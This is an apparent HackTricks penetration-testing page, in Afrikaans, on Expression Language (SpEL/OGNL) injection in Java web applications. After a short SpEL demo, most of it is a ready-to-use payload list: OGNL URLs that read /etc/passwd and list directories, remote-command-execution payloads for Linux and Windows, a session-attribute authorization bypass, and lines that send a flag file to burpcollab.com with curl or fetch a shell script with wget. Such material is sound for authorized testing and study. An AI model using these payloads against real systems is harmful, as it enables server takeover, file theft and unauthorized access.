EL - Expression Language

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Basiese Inligting

Expression Language (EL) is integraal in JavaEE vir die oorbrugging van die aanbiedingslaag (bv. webbladsye) en toepassingslogika (bv. bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:

  • JavaServer Faces (JSF): Vir die binding van UI-komponente aan agtergrond data/aksies.

  • JavaServer Pages (JSP): Vir data toegang en manipulasie binne JSP-bladsye.

  • Contexts and Dependency Injection for Java EE (CDI): Vir die fasilitering van weblaag interaksie met bestuurde bone.

Gebruik Konteks:

  • Spring Framework: Toegepas in verskeie modules soos Sekuriteit en Data.

  • Algemene Gebruik: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.

EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur .jsp of .jsf lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter belangrik om te noem dat sy kenmerke en die gebruik van sekere karakters weergawe-afhanklik kan wees.

Afhangende van die EL weergawe mag sommige kenmerke Aan of Af wees en gewoonlik mag sommige karakters verbode wees.

Basiese Voorbeeld

(Jy kan 'n ander interessante tutoriaal oor EL vind in https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)

Laai die jar-lêers af van die Maven repository:

  • commons-lang3-3.9.jar

  • spring-core-5.2.1.RELEASE.jar

  • commons-logging-1.2.jar

  • spring-expression-5.2.1.RELEASE.jar

En skep die volgende Main.java lêer:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Volgende kompileer die kode (as jy nie javac geïnstalleer het nie, installeer sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Voer die toepassing uit met:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Let op hoe in die vorige voorbeeld die term {5*5} was geëvalueer.

CVE-gebaseerde Handleiding

Kyk dit in hierdie pos: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Payloads

Basiese aksies

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Ontdekking

  • Burp ontdekking

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • J2EE opsporing

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • Sluit 10 sekondes

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Afgeleë Lêer Insluiting

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Gidslys

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • Basiese RCE verklaring

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (nie getoets nie)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • Meer RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspecting the environment

  • applicationScope - globale toepassingsvariabeles

  • requestScope - versoekvariabeles

  • initParam - toepassingsinisialisering variabeles

  • sessionScope - sessievariabeles

  • param.X - param waarde waar X die naam van 'n http parameter is

You will need to cast this variables to String like:

${sessionScope.toString()}

Magtiging bypass voorbeeld

${pageContext.request.getSession().setAttribute("admin", true)}

Die toepassing kan ook pasgemaakte veranderlikes gebruik soos:

${user}
${password}
${employee.FirstName}

WAF Bypass

Check https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

References

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated